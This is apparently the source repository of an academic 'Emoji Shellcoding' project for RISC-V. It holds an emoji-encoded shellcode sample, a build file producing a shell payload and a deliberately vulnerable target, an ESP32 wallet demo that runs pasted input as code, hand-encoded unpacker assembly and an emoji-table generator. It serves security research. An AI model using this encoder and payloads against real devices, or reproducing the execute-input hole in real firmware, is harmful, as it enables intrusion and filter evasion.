➖✅♈🧑🏻‍🤝‍🧑🏻🕙❌♋♉➖✅♈👨🏿‍🤝‍👨🏻🍉✅♈👩‍❤️‍💋‍👩➕✅♈🧑🏼‍🤝‍🧑🏽🖕✅♈👩🏾‍🤝‍👨🏼🖕❌♋♉➖✅♈🧑🏾‍🤝‍🧑🏾👉❌♋♉➖ -------------------------------------------------------------------------------- /hifiveu/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # (c) 2018-2022 Hadrien Barral 3 | # SPDX-License-Identifier: Apache-2.0 4 | # 5 | 6 | MAKEFLAGS += --no-builtin-rules --no-builtin-variables 7 | .SUFFIXES: 8 | 9 | RV_BITS := 64 10 | include helpers/common.mk 11 | OUT := out 12 | PAYD := payload_linux_shell 13 | NAME := shellcode 14 | 15 | all: $(OUT)/vuln.bin $(OUT)/$(NAME).bin $(OUT)/$(NAME).txt $(OUT)/run_demo 16 | 17 | $(BUILD): 18 | $(Q)mkdir -p $@ 19 | 20 | $(OUT): 21 | $(Q)mkdir -p $@ 22 | 23 | # 24 | # Helper script 25 | # 26 | 27 | $(OUT)/run_demo: | $(OUT) 28 | printf "#!/bin/sh\n(cat shellcode.bin; echo ""; cat) | ./vuln.bin\n" > $@ 29 | chmod +x $@ 30 | 31 | # 32 | # Vulnerable program 33 | # 34 | 35 | $(OUT)/vuln.bin: $(BUILD)/vuln.bin | $(OUT) 36 | $(Q)cp $< $@ 37 | 38 | $(BUILD)/vuln.bin: $(BUILD)/vuln.o 39 | $(Q)$(PAYLOAD_GCC) -Wl,--wrap=__libc_start_main_ -z execstack -static -o $@ $^ 40 | 41 | $(BUILD)/vuln.o: vuln.c | $(BUILD) 42 | $(Q)$(PAYLOAD_GCC) -o $@ -c $< -Wall -Wextra -O2 -fno-stack-protector 43 | 44 | # 45 | # Emoji shellcode 46 | # 47 | 48 | $(BUILD)/stage2_encoded.S: $(BUILD)/stage2.bin encode_stage2.py 49 | $(Q)./$(word 2,$^) -i $< -o $@ 50 | 51 | $(BUILD)/stage2.bin: $(BUILD)/$(PAYD).bin 52 | cp $< $@ 53 | 54 | $(BUILD)/stage1.o: stage1.S $(BUILD)/stage2_encoded.S 55 | $(Q)m4 -I $(BUILD) $< > $(BUILD)/$<.m4.S 56 | $(Q)$(GCC) -o $(BUILD)/$<.i -P -E -DRV_BITS=$(RV_BITS) $(BUILD)/$<.m4.S 57 | $(Q)$(AS) $(ASFLAGS) -o $@ -c $(BUILD)/$<.i 58 | 59 | $(BUILD)/stage1.elf: $(BUILD)/stage1.o stage1.ld 60 | $(Q)$(LD) $(LDFLAGS) -T $(word 2,$^) -o $@ $< 61 | 62 | $(BUILD)/stage1.bin: $(BUILD)/stage1.elf 63 | $(Q)$(OBJCOPY) -O binary $< $@ 64 | 65 | $(BUILD)/$(NAME).bin.nounclog: $(BUILD)/stage1.bin unclog.py ../block/build/seq.txt 66 | $(Q)$(OBJDUMP) -b binary -D -m riscv:rv$(RV_BITS) $< > $(BUILD)/$(NAME).diss 67 | $(Q)./$(word 2,$^) -i $< -o $@ -e $(word 3,$^) #-r 68 | 69 | $(BUILD)/$(NAME).bin.nocheck: $(BUILD)/$(NAME).bin.nounclog 70 | $(Q)cp $< $@ 71 | 72 | $(BUILD)/$(NAME).bin: $(BUILD)/$(NAME).bin.nocheck helpers/check.py ../block/build/seq.txt | $(OUT) 73 | $(Q)$(word 2,$^) -i $< -e $(word 3,$^) 74 | $(Q)cp $< $@ 75 | 76 | $(OUT)/$(NAME).bin: $(BUILD)/$(NAME).bin | $(OUT) 77 | $(Q)cp $< $@ 78 | 79 | $(OUT)/$(NAME).txt: $(OUT)/$(NAME).bin 80 | $(Q)cp $< $@ 81 | 82 | # 83 | # Payload 84 | # 85 | 86 | PAYLOAD_RV_ARCH := rv64gc 87 | PAYLOAD_RV_ABI := lp64d 88 | 89 | include ../payload/payload.mk 90 | $(eval $(call build_payload,$(PAYD),0x8000800580,$(BUILD)/$(PAYD).bin,$(PAYLOAD_RV_ARCH),$(PAYLOAD_RV_ABI))) 91 | 92 | .PHONY: clean 93 | clean: 94 | rm -rf $(BUILD) $(OUT) 95 | -------------------------------------------------------------------------------- /esp32/app/main/vulnerable.c: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: 2021-2022 Hadrien Barral 3 | * 4 | * SPDX-License-Identifier: Apache-2.0 5 | */ 6 | 7 | #include 8 | #include 9 | #include "sdkconfig.h" 10 | #include "freertos/FreeRTOS.h" 11 | #include "freertos/task.h" 12 | #include "esp_chip_info.h" 13 | #include "esp_flash.h" 14 | #include "led_strip.h" 15 | #include "esp_err.h" 16 | #include "esp_vfs_dev.h" 17 | #include "driver/uart.h" 18 | 19 | 20 | esp_err_t example_configure_stdin_stdout(void) 21 | { 22 | // Initialize VFS & UART so we can use std::cout/cin 23 | setvbuf(stdin, NULL, _IONBF, 0); 24 | /* Install UART driver for interrupt-driven reads and writes */ 25 | ESP_ERROR_CHECK( uart_driver_install( (uart_port_t)CONFIG_ESP_CONSOLE_UART_NUM, 26 | 256, 0, 0, NULL, 0) ); 27 | /* Tell VFS to use UART driver */ 28 | esp_vfs_dev_uart_use_driver(CONFIG_ESP_CONSOLE_UART_NUM); 29 | esp_vfs_dev_uart_port_set_rx_line_endings(CONFIG_ESP_CONSOLE_UART_NUM, ESP_LINE_ENDINGS_CR); 30 | /* Move the caret to the beginning of the next line on '\n' */ 31 | esp_vfs_dev_uart_port_set_tx_line_endings(CONFIG_ESP_CONSOLE_UART_NUM, ESP_LINE_ENDINGS_CRLF); 32 | return ESP_OK; 33 | } 34 | 35 | 36 | bool scw_debug = 0; 37 | 38 | static void imemcpy(void *dest, const void *start, size_t len) 39 | { 40 | uint32_t *d = (uint32_t *) dest; 41 | uint32_t *s = (uint32_t *) start; 42 | while (len > 4) { 43 | *d++ = *s++; 44 | len -= 4; 45 | } 46 | } 47 | 48 | #define BLINK_GPIO 8 49 | static led_strip_handle_t led_strip; 50 | 51 | static void configure_led(void) 52 | { 53 | /* LED strip initialization with the GPIO and pixels number*/ 54 | led_strip_config_t strip_config = { 55 | .strip_gpio_num = BLINK_GPIO, 56 | .max_leds = 1, // at least one LED on board 57 | }; 58 | ESP_ERROR_CHECK(led_strip_new_rmt_device(&strip_config, &led_strip)); 59 | /* Set all LED off to clear all pixels */ 60 | led_strip_clear(led_strip); 61 | } 62 | 63 | static void next_color(int delay_ms, uint32_t r, uint32_t g, uint32_t b) 64 | { 65 | /* Set the LED pixel using RGB from 0 (0%) to 255 (100%) for each color */ 66 | led_strip_set_pixel(led_strip, 0, r, g, b); 67 | /* Refresh the strip to send data */ 68 | led_strip_refresh(led_strip); 69 | vTaskDelay(pdMS_TO_TICKS(delay_ms)); 70 | } 71 | 72 | void led_pattern(void) 73 | { 74 | configure_led(); 75 | 76 | uint32_t M = 2; 77 | int color_ms = 150; 78 | 79 | for(;;) { 80 | next_color( 1, M, M, M); 81 | next_color(color_ms, M, 0, 0); 82 | next_color(color_ms, 0, M, 0); 83 | next_color(color_ms, 0, 0, M); 84 | next_color(color_ms, M/2, M/2, 0); 85 | next_color(color_ms, M/2, 0, M/2); 86 | next_color(color_ms, 0, M/2, M/2); 87 | } 88 | } 89 | 90 | static const char *private_key = 91 | "5HuALLURKEYSAREBELUNG2USx1WANTARA1SEPLZhTVqvbVBbpGq"; 92 | 93 | void debug_display_private_key(void) 94 | { 95 | printf("Dumping the shitcoin private key...\n%s\n", private_key); 96 | led_pattern(); 97 | } 98 | 99 | static void print_info(void) 100 | { 101 | /* Print chip information */ 102 | esp_chip_info_t chip_info; 103 | esp_chip_info(&chip_info); 104 | printf("\033[2J" "\033[H"); 105 | printf("This is %s chip with %d CPU core(s), WiFi%s%s, ", 106 | CONFIG_IDF_TARGET, 107 | chip_info.cores, 108 | (chip_info.features & CHIP_FEATURE_BT) ? "/BT" : "", 109 | (chip_info.features & CHIP_FEATURE_BLE) ? "/BLE" : ""); 110 | 111 | uint32_t flash_size = 0; 112 | if(esp_flash_get_size(NULL, &flash_size) != ESP_OK) { 113 | printf("Get flash size failed"); 114 | } 115 | 116 | printf("%luMB %s flash\n", flash_size / (1024 * 1024), 117 | (chip_info.features & CHIP_FEATURE_EMB_FLASH) ? "embedded" : "external"); 118 | 119 | printf("\n"); 120 | if (scw_debug) { 121 | debug_display_private_key(); 122 | } 123 | } 124 | 125 | #define ALLOC_SIZE 78000 126 | 127 | IRAM_ATTR char buffer[ALLOC_SIZE]; 128 | char input[ALLOC_SIZE]; 129 | 130 | void app_main(void) 131 | { 132 | example_configure_stdin_stdout(); 133 | print_info(); 134 | printf("shitcoinWallet™\n"); 135 | printf("Please enter your shitcoinWallet™ passphrase:\n"); 136 | printf(" (protip: paste your Emoji shellcode here)\n"); 137 | fgets(input,sizeof(input),stdin); 138 | 139 | printf("%.2000s ...\n", input); 140 | 141 | imemcpy(buffer, input, sizeof(buffer)); 142 | typedef void exec_t(void); 143 | ((exec_t *) buffer)(); 144 | 145 | for(;;) { 146 | vTaskDelay(pdMS_TO_TICKS(1000)); 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RISC-V: Emoji Shellcoding 🙂 2 | 3 | ``` 4 | By Hаdrien Ваrrаl and Georges-Axel Jaloyan 5 | ``` 6 | 7 | This work has been presented at 8 | [WOOT'23](https://wootconference.org) ([paper](https://wootconference.org/papers/woot23-paper5.pdf)) 9 | and [DEFCON30](https://defcon.org/html/defcon-30/dc-30-index.html) ([slides](https://î.fr/defcon/DEF%20CON%2030%20-%20Hadrien%20Barral%20-%20Emoji%20Shellcoding:%20%F0%9F%9B%A0%EF%B8%8F,%20%F0%9F%A7%8C,%20and%20%F0%9F%A4%AF%20-%20Presentation.pdf)) 10 | 11 | ## Overview 12 | 13 | This tool ⚒️ helps design RISC-V (both 32-bit and 64-bit) shellcodes capable of running arbitrary code, whose ASCII binary representation 14 | use only [Unicode UTF-8](https://unicode.org/emoji/charts/full-emoji-list.html) emojis 🤯. 15 | 16 | It consists of an emoji unpacker. For any target shellcode (non-emoji), 17 | the tool will produce an emoji shellcode with the unpacker and the packed version of your shellcode. 18 | Run it on a RISC-V simulator/cpu and enjoy! 19 | 20 | For a general introduction on RISC-V shellcoding, you may read the [blog post by Thomas Karpiniec](https://thomask.sdf.org/blog/2018/08/25/basic-shellcode-in-riscv-linux.html). 21 | 22 | You can find our previous work on RISC-V alphanumeric shellcoding here: 23 | [https://github.com/RischardV/riscv-alphanumeric-shellcoding](https://github.com/RischardV/riscv-alphanumeric-shellcoding). 24 | 25 | Folder contents: 26 | - `qemu`: Full source code and prebuilt binary for the baremetal QEMU demo 27 | - `qemu_short`: Same as `qemu`, but a shorter version 28 | - `esp32`: Demos running on the Espressif ESP32-C3 board 29 | - `hifiveu`: Demos running on the HiFive-Unleashed board 30 | - `payload`: Source code of the payloads used 31 | - `block`: How we generated the available instructions 32 | - `nopsled`: The source code of our ⛔🛷 nopsled 33 | 34 | ## Quick-try 35 | 36 | Building the shellcodes requires a RISC-V toolchain. 37 | We only provide easy-to-test pre-built QEMU baremetal shellcodes. 38 | 39 | The only prerequisite is having a RISC-V QEMU v6.0.0 or newer [https://www.qemu.org/](https://www.qemu.org/). 40 | On Ubuntu 22.04, you can install it using `apt install qemu-system-misc`. 41 | 42 | Then: 43 | - `cd emoji-shellcoding/paper_hello_world` 44 | - `cat qemu_miniclog_small.bin` 45 | (optional, to print the shellcode. Open it in your favorite editor if your console does not support emojis) 46 | - `./launch_prebuilt` use Ctrl+C to exit 47 | 48 | You can modify `launch_prebuilt` to run `qemu_miniclog_medium.bin` or `qemu_miniclog_large.bin` instead. 49 | 50 | ## Building && Testing 51 | 52 | Start by cloning the repository: 53 | ``` 54 | git clone https://github.com/RischardV/emoji-shellcoding.git 55 | cd emoji-shellcoding 56 | ``` 57 | 58 | #### Prerequisites: 59 | 60 | - Python 3.10 or later [https://www.python.org/](https://www.python.org/) 61 | - RISC-V toolchain 62 | - RISC-V QEMU: install QEMU v6.0 or newer [https://www.qemu.org/](https://www.qemu.org/) 63 | - GNU m4 64 | 65 | On Ubuntu 22.04: 66 | ``` 67 | apt install build-essential gcc-riscv64-linux-gnu gcc-riscv64-unknown-elf qemu-system-misc m4 68 | ``` 69 | 70 | ### QEMU bare-metal shellcodes 71 | 72 | - Build the instructions lists (takes some time) 73 | - `cd emoji-shellcoding/block` 74 | - `make` 75 | - Build the shellcodes 76 | - `cd emoji-shellcoding/qemu` 77 | - `make` 78 | - Run the shellcodes 79 | - `cd emoji-shellcoding/qemu` 80 | - `cat out/shellcode.bin` (optional, to print the shellcode) 81 | - `./l` use Ctrl+C to exit 82 | Expected results: 83 | The string "Hello, world!" should print on the screen. 84 | 85 | ### Espressif ESP32-C3 shellcodes 86 | 87 | Prerequisites: 88 | - An Espressif ESP32-C3 board: [https://www.espressif.com/en/products/socs/esp32-c3](https://www.espressif.com/en/products/socs/esp32-c3) 89 | (esp32-c3-devkitm-1 or esp32-c3-devkitc-02 are easily available for <10$) 90 | - The ESP-IDF SDK: [https://docs.espressif.com/projects/esp-idf/en/latest/esp32c3/get-started/index.html](https://docs.espressif.com/projects/esp-idf/en/latest/esp32c3/get-started/index.html) 91 | 92 | - Build the shellcodes 93 | - `cd emoji-shellcoding/esp32` 94 | - `make -j` 95 | 96 | Running instructions are very similar to QEMU Linux shellcodes above. Refer to them. 97 | 98 | ### HiFive Unleashed Linux shellcodes 99 | 100 | Prerequisites: 101 | - A HiFive-Unleashed board: [https://www.sifive.com/boards/hifive-unleashed](https://www.sifive.com/boards/hifive-unleashed) 102 | (note: this board is not sold anymore) 103 | 104 | - Build the shellcodes 105 | - `cd emoji-shellcoding/hifiveu` 106 | - `make -j` 107 | 108 | Running instructions are very similar to QEMU Linux shellcodes above. Refer to them. 109 | 110 | ## License 111 | 112 | This tool is released under Apache license. See `LICENSE` file. 113 | -------------------------------------------------------------------------------- /hifiveu/stage1.S: -------------------------------------------------------------------------------- 1 | /*# 2 | *# (c) 2021-2022 Hadrien Barral 3 | *# SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | include(`helpers/common.m4')#' 7 | 8 | .macro jumper_with_zero_a3 before_land_size:req 9 | ins2 0xe29c ### add s9,s9,s8 10 | ins2 0x85c2 #beqz a3,+0x20 11 | ins2 0xa9ef 12 | ins2 0xb88f 13 | clog (0x1a - \before_land_size) 14 | .endm 15 | 16 | .macro jumper_with_nonzero_a3 before_land_size:req 17 | # e29c85 ✅ e29988 ♈ CLOG(0x1c) 18 | ins2 0xe29c ### add s9,s9,s8 19 | ins2 0x85e2 # bnez a3,+0x20 20 | ins2 0x9988 21 | clog (0x1c - \before_land_size) 22 | .endm 23 | 24 | .global _start 25 | _start: 26 | 27 | non0a5: 28 | jumper_with_nonzero_a3 2 29 | ins2 0xf09f # before land 30 | ins4 0x9387e2ac # addi a5,t0,-1330 31 | ins2 0x85ef # bnez a5,+0x38 32 | ins2 0xb88f # 33 | clog 0x34 34 | 35 | setuppcfixup: 36 | # First, set a1 to 0 37 | jumper_with_nonzero_a3 2 38 | ins2 0xf09f # before land 39 | ins4 0x93a5f09f # slti a1,ra,-1537 40 | ins2 0x868e ### mv t4,ra 41 | 42 | # Then, set t0 to zero 43 | jumper_with_nonzero_a3 2 44 | ins2 0xf09f # 45 | ins4 0x93a2e281 # slti t0,t0,-2018 46 | ins2 0x89ef # bnez a5,+0x1a 47 | ins2 0xb88f # 48 | clog 0x14 49 | 50 | jumper_with_nonzero_a3 2 51 | ins2 0xf09f # 52 | ins4 0x93a2e281 # slti t0,t0,-2018 53 | ins2 0x89ef # bnez a5,+0x1a 54 | ins2 0xb88f # 55 | clog 0x14 56 | 57 | .macro t0addiforfixup 58 | ins2 0xf09f # before land 59 | ins4 0x9382e281 # addi t0,t0,-2018 60 | ins2 0x89ef ### bnez a5,+0x1a 61 | ins2 0xb88f ### 62 | clog 0x14 63 | .endm 64 | 65 | # Then, set t0 fixup 66 | repeat(50, {t0addiforfixup}) 67 | 68 | # Then, move fixup to t2 69 | ins2 0xf09f # before land 70 | ins4 0x9383e2ac # addi t2,t0,-1330 71 | ins2 0x85ef ### bnez a5,+0x38 72 | ins2 0xb88f ### 73 | clog 0x33 74 | 75 | .byte 0xe2 # before land 76 | ins2 0x9e95 # add a1,a1,t2 77 | 78 | getbadpc: 79 | ins2 0xe29d ### add s11,s11,s8 80 | ins4 0x97f09f88 # auipc ra,0x889ff 81 | ins4 0xb7efb88f ### lui t6,0x8fb8e 82 | 83 | seta3: 84 | # Then, set t0 to zero 85 | jumper_with_nonzero_a3 2 86 | ins2 0xf09f # 87 | ins4 0x93a2e281 # slti t0,t0,-2018 88 | ins2 0x89ef # bnez a5,+0x1a 89 | ins2 0xb88f # 90 | clog 0x14 91 | 92 | # First, set a3 to 0 93 | jumper_with_nonzero_a3 2 94 | ins2 0xf09f # before land 95 | ins4 0x93a6e2ac #slti a3,t0,-1330 96 | ins2 0x85ef # bnez a5,+0x38 97 | ins2 0xb88f # 98 | clog 0x32 99 | 100 | # Then, set a3 to ra 101 | ins2 0xf09f # before land 102 | ins2 0x8696 # add a3,a3,ra 103 | 104 | fixa3: 105 | # First, load matching offset 106 | jumper_with_nonzero_a3 3 107 | .byte 0xf0, 0x9f, 0xaa # before land 108 | ins4 0xb7f09f88 # lui ra,0x889ff 109 | ins4 0xb7efb88f # lui t6,0x8fb8e 110 | 111 | jumper_with_nonzero_a3 2 112 | ins2 0xf09f # before land 113 | ins2 0x8695 # add a1,a1,ra 114 | 115 | # Finally, subtract to a3 116 | jumper_with_nonzero_a3 2 117 | ins2 0xf09f # before land 118 | ins2 0x8d8e # sub a3,a3,a1 119 | 120 | t2to1: 121 | jumper_with_nonzero_a3 2 122 | ins2 0xf09f # before land 123 | ins4 0x93b3f09f # sltiu t2,ra,-1537 124 | ins2 0x868e ### mv t4,ra 125 | 126 | a1to1: 127 | jumper_with_nonzero_a3 2 128 | ins2 0xf09f # before land 129 | ins4 0x93a5f09f # slti a1,ra,-1537 130 | ins2 0x868e ### mv t4,ra 131 | 132 | rato1: 133 | jumper_with_nonzero_a3 2 134 | ins2 0xf09f # before land 135 | ins4 0x93b0e38a # sltiu ra,t2,-2034 136 | ins2 0x99ef ### bnez a5,+0x1e 137 | ins2 0xb88f ### 138 | clog 0x1a 139 | 140 | t0to8: 141 | repeat(15, { 142 | jumper_with_nonzero_a3 2 143 | ins2 0xf09f # before land 144 | ins2 0x8692 # add t0,t0,ra 145 | }) 146 | 147 | .macro incr_a1 148 | # ... e29e95 ➕ 149 | jumper_with_nonzero_a3 1 150 | .byte 0xe2 151 | ins2 0x9e95 # add a1,a1,t2 152 | .endm 153 | 154 | .macro incr16_a1 155 | # ... e29e95 ➕ 156 | jumper_with_nonzero_a3 2 157 | ins2 0xf09f 158 | ins2 0x9695 # add a1,a1,t0 159 | .endm 160 | 161 | .macro stage2_write_byte 162 | # First, store a1 163 | #if RV_BITS == 32 164 | # e29988 ♈ c2a9efb88f ©️ 165 | ins2 0xe299 ### add s3,s3,s8 166 | ins2 0x8cc2 # sw a1,0(a3) 167 | ins2 0xa9ef ### bnez a5,+0x5a 168 | ins2 0xb88f 169 | clog 0x54 170 | #elif RV_BITS == 64 171 | # e29d8c ❌ e2998b ♋ 172 | ins2 0xe29d ### add s11,s11,s8 173 | ins2 0x8ce2 # sd a1,0(a3) 174 | ins2 0x998b ### andi a5,a5,6 /* Multiple other possibilities */ 175 | #else 176 | #error Unknown RV_BITS 177 | #endif 178 | 179 | # Then, increment a3 180 | # e29989 ♉ e29e96 ➖ 181 | ins2 0xe299 ### add s3,s3,s8 182 | ins2 0x89e2 ### bnez a3,+0x2 183 | ins2 0x9e96 # add a3,a3,t2 184 | .endm 185 | 186 | stage2decode: 187 | #include "stage2_encoded.S" 188 | 189 | .macro nop6 190 | ins2 0xe29a # add s5,s5,s8 191 | ins4 0x97efb88f # auipc t6,0x8fb8e 192 | .endm 193 | 194 | nopsled: 195 | repeat(0, {nop6}) 196 | -------------------------------------------------------------------------------- /esp32/stage1.S: -------------------------------------------------------------------------------- 1 | /*# 2 | *# (c) 2021-2022 Hadrien Barral 3 | *# SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | include(`helpers/common.m4')#' 7 | 8 | .macro jumper_with_zero_a3 before_land_size:req 9 | ins2 0xe29c ### add s9,s9,s8 10 | ins2 0x85c2 #beqz a3,+0x20 11 | ins2 0xa9ef 12 | ins2 0xb88f 13 | clog (0x1a - \before_land_size) 14 | .endm 15 | 16 | .macro jumper_with_nonzero_a3 before_land_size:req 17 | # e29c85 ✅ e29988 ♈ CLOG(0x1c) 18 | ins2 0xe29c ### add s9,s9,s8 19 | ins2 0x85e2 # bnez a3,+0x20 20 | ins2 0x9988 21 | clog (0x1c - \before_land_size) 22 | .endm 23 | 24 | .global _start 25 | _start: 26 | 27 | non0a5: 28 | jumper_with_nonzero_a3 2 29 | ins2 0xf09f # before land 30 | ins4 0x9387e2ac # addi a5,t0,-1330 31 | ins2 0x85ef # bnez a5,+0x38 32 | ins2 0xb88f # 33 | clog 0x34 34 | 35 | setuppcfixup: 36 | # First, set a1 to 0 37 | jumper_with_nonzero_a3 2 38 | ins2 0xf09f # before land 39 | ins4 0x93a5f09f # slti a1,ra,-1537 40 | ins2 0x868e ### mv t4,ra 41 | 42 | # Then, set t0 to zero 43 | jumper_with_nonzero_a3 2 44 | ins2 0xf09f # 45 | ins4 0x93a2e281 # slti t0,t0,-2018 46 | ins2 0x89ef # bnez a5,+0x1a 47 | ins2 0xb88f # 48 | clog 0x14 49 | 50 | jumper_with_nonzero_a3 2 51 | ins2 0xf09f # 52 | ins4 0x93a2e281 # slti t0,t0,-2018 53 | ins2 0x89ef # bnez a5,+0x1a 54 | ins2 0xb88f # 55 | clog 0x14 56 | 57 | .macro t0addiforfixup 58 | ins2 0xf09f # before land 59 | ins4 0x9382e281 # addi t0,t0,-2018 60 | ins2 0x89ef ### bnez a5,+0x1a 61 | ins2 0xb88f ### 62 | clog 0x14 63 | .endm 64 | 65 | # Then, set t0 fixup 66 | repeat(35, {t0addiforfixup}) 67 | 68 | # Then, move fixup to t2 69 | ins2 0xf09f # before land 70 | ins4 0x9383e2ac # addi t2,t0,-1330 71 | ins2 0x85ef ### bnez a5,+0x38 72 | ins2 0xb88f ### 73 | clog 0x33 74 | 75 | .byte 0xe2 # before land 76 | ins2 0x9e95 # add a1,a1,t2 77 | 78 | getbadpc: 79 | ins2 0xe29d ### add s11,s11,s8 80 | ins4 0x97f09f88 # auipc ra,0x889ff 81 | ins4 0xb7efb88f ### lui t6,0x8fb8e 82 | 83 | seta3: 84 | # Then, set t0 to zero 85 | jumper_with_nonzero_a3 2 86 | ins2 0xf09f # 87 | ins4 0x93a2e281 # slti t0,t0,-2018 88 | ins2 0x89ef # bnez a5,+0x1a 89 | ins2 0xb88f # 90 | clog 0x14 91 | 92 | # First, set a3 to 0 93 | jumper_with_nonzero_a3 2 94 | ins2 0xf09f # before land 95 | ins4 0x93a6e2ac #slti a3,t0,-1330 96 | ins2 0x85ef # bnez a5,+0x38 97 | ins2 0xb88f # 98 | clog 0x32 99 | 100 | # Then, set a3 to ra 101 | ins2 0xf09f # before land 102 | ins2 0x8696 # add a3,a3,ra 103 | 104 | fixa3: 105 | # First, load matching offset 106 | jumper_with_nonzero_a3 3 107 | .byte 0xf0, 0x9f, 0xaa # before land 108 | ins4 0xb7f09f88 # lui ra,0x889ff 109 | ins4 0xb7efb88f # lui t6,0x8fb8e 110 | 111 | jumper_with_nonzero_a3 2 112 | ins2 0xf09f # before land 113 | ins2 0x8695 # add a1,a1,ra 114 | 115 | # Finally, subtract to a3 116 | jumper_with_nonzero_a3 2 117 | ins2 0xf09f # before land 118 | ins2 0x8d8e # sub a3,a3,a1 119 | 120 | t2to1: 121 | jumper_with_nonzero_a3 2 122 | ins2 0xf09f # before land 123 | ins4 0x93b3f09f # sltiu t2,ra,-1537 124 | ins2 0x868e ### mv t4,ra 125 | 126 | a1to1: 127 | jumper_with_nonzero_a3 2 128 | ins2 0xf09f # before land 129 | ins4 0x93a5f09f # slti a1,ra,-1537 130 | ins2 0x868e ### mv t4,ra 131 | 132 | rato1: 133 | jumper_with_nonzero_a3 2 134 | ins2 0xf09f # before land 135 | ins4 0x93b0e38a # sltiu ra,t2,-2034 136 | ins2 0x99ef ### bnez a5,+0x1e 137 | ins2 0xb88f ### 138 | clog 0x1a 139 | 140 | t0to8: 141 | repeat(15, { 142 | jumper_with_nonzero_a3 2 143 | ins2 0xf09f # before land 144 | ins2 0x8692 # add t0,t0,ra 145 | }) 146 | 147 | .macro incr_a1 148 | # ... e29e95 ➕ 149 | jumper_with_nonzero_a3 1 150 | .byte 0xe2 151 | ins2 0x9e95 # add a1,a1,t2 152 | .endm 153 | 154 | .macro incr16_a1 155 | # ... e29e95 ➕ 156 | jumper_with_nonzero_a3 2 157 | ins2 0xf09f 158 | ins2 0x9695 # add a1,a1,t0 159 | .endm 160 | 161 | .macro stage2_write_byte 162 | # First, store a1 163 | #if RV_BITS == 32 164 | # e29988 ♈ c2a9efb88f ©️ 165 | ins2 0xe299 ### add s3,s3,s8 166 | ins2 0x8cc2 # sw a1,0(a3) 167 | ins2 0xa9ef ### bnez a5,+0x5a 168 | ins2 0xb88f 169 | clog 0x54 170 | #elif RV_BITS == 64 171 | # e29d8c ❌ e2998b ♋ 172 | ins2 0xe29d ### add s11,s11,s8 173 | ins2 0x8ce2 # sd a1,0(a3) 174 | ins2 0x998b ### andi a5,a5,6 /* Multiple other possibilities */ 175 | #else 176 | #error Unknown RV_BITS 177 | #endif 178 | 179 | # Then, increment a3 180 | # e29989 ♉ e29e96 ➖ 181 | ins2 0xe299 ### add s3,s3,s8 182 | ins2 0x89e2 ### bnez a3,+0x2 183 | ins2 0x9e96 # add a3,a3,t2 184 | .endm 185 | 186 | stage2decode: 187 | #include "stage2_encoded.S" 188 | 189 | .macro nop6 190 | ins2 0xe29a # add s5,s5,s8 191 | ins4 0x97efb88f # auipc t6,0x8fb8e 192 | .endm 193 | 194 | nopsled: 195 | jumper_with_nonzero_a3 0 196 | repeat(1000, {nop6}) 197 | -------------------------------------------------------------------------------- /block/genu14.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # 4 | # (c) 2021-2022 Hadrien Barral 5 | # SPDX-License-Identifier: Apache-2.0 6 | # 7 | 8 | import collections 9 | import colorsys 10 | import csv 11 | import math 12 | import os 13 | import pathlib 14 | import shutil 15 | import sys 16 | import time 17 | import typing 18 | 19 | import certifi # type:ignore 20 | import urllib3 # type:ignore 21 | from PIL import Image # type:ignore 22 | 23 | 24 | def get_web_file(url: str, filename: str) -> None: 25 | c = urllib3.PoolManager(cert_reqs="CERT_REQUIRED", ca_certs=certifi.where()) 26 | with c.request("GET", url, preload_content=False) as resp, open(filename, "wb") as out_file: 27 | shutil.copyfileobj(resp, out_file) 28 | resp.release_conn() 29 | 30 | 31 | def emoji_base_uri() -> str: 32 | return "https://unicode.org/Public/emoji/14.0/" 33 | 34 | 35 | def get_emoji_sequence_file(filename: str) -> None: 36 | get_web_file(emoji_base_uri() + "emoji-sequences.txt", filename) 37 | 38 | 39 | def get_emoji_test_file(filename: str) -> None: 40 | get_web_file(emoji_base_uri() + "emoji-test.txt", filename) 41 | 42 | 43 | Sequences: typing.TypeAlias = list[str] 44 | 45 | 46 | def gen_sequences(sequences_files: list[str], build_dir: str) -> Sequences: 47 | start = time.time() 48 | sequences_set = set() 49 | for sequences_file in sequences_files: 50 | with open(sequences_file, encoding="utf-8") as csvfile: 51 | reader = csv.reader(filter(lambda row: (row[0] != "#" and len(row) > 1), csvfile), delimiter=";") 52 | for row in reader: 53 | if row[1].strip().startswith("unqualified"): 54 | continue 55 | if row[1].strip().startswith("component"): 56 | continue 57 | sequence = row[0].strip() 58 | if ".." in sequence: 59 | if " " in sequence: 60 | print("Error: have both '..' and ' ' in a sequence") 61 | sys.exit(1) 62 | iters = sequence.split(".") 63 | for codepoint in range(int(iters[0], 16), int(iters[2], 16) + 1): 64 | sequences_set.add(chr(codepoint)) 65 | else: 66 | sequence_list = [chr(int(x, 16)) for x in sequence.split(" ")] 67 | sequences_set.add("".join(sequence_list)) 68 | 69 | sequences = sorted(sequences_set) 70 | 71 | with open(build_dir + "/seq.txt", "wb") as f: 72 | for a in sequences: 73 | f.write(a.encode().hex().encode()) 74 | f.write((" " + a + "\n").encode()) 75 | 76 | with open(build_dir + "/texlist.txt", "wb") as f: 77 | for a in sequences: 78 | f.write(("{" + a + "}").encode()) 79 | 80 | print(f"Parsed {len(sequences)} sequences in {time.time() - start:0.4f}s") 81 | return sequences 82 | 83 | 84 | def gen_pairs_bin(sequences: Sequences) -> bytes: 85 | start = time.time() 86 | s = [] 87 | for a in sequences: 88 | for b in sequences: 89 | s.append(a + b) 90 | pairs = "".join(s).encode() 91 | end = time.time() 92 | print(f"Generated binary data in {end - start:0.4f}s (len:{len(s)})") 93 | return pairs 94 | 95 | 96 | def gen_pairs_quads(sequences: Sequences) -> tuple[dict[int, int], list[int]]: 97 | m = gen_pairs_bin(sequences) 98 | print("Generating pairs and quads (this will take a while)...") 99 | start = time.time() 100 | pairs: collections.defaultdict[int, int] = collections.defaultdict(int) 101 | quads = set() 102 | 103 | for i in range(0, len(m) - 1): 104 | num2 = m[i] + ((m[i + 1]) << 8) 105 | if num2 % 4 != 3: 106 | pairs[num2] += 1 107 | elif i + 3 < len(m): 108 | if (num2 & 0b11100) != 0b11100: 109 | num4 = num2 + (m[i + 2] << 16) + (m[i + 3] << 24) 110 | quads.add(num4) 111 | 112 | 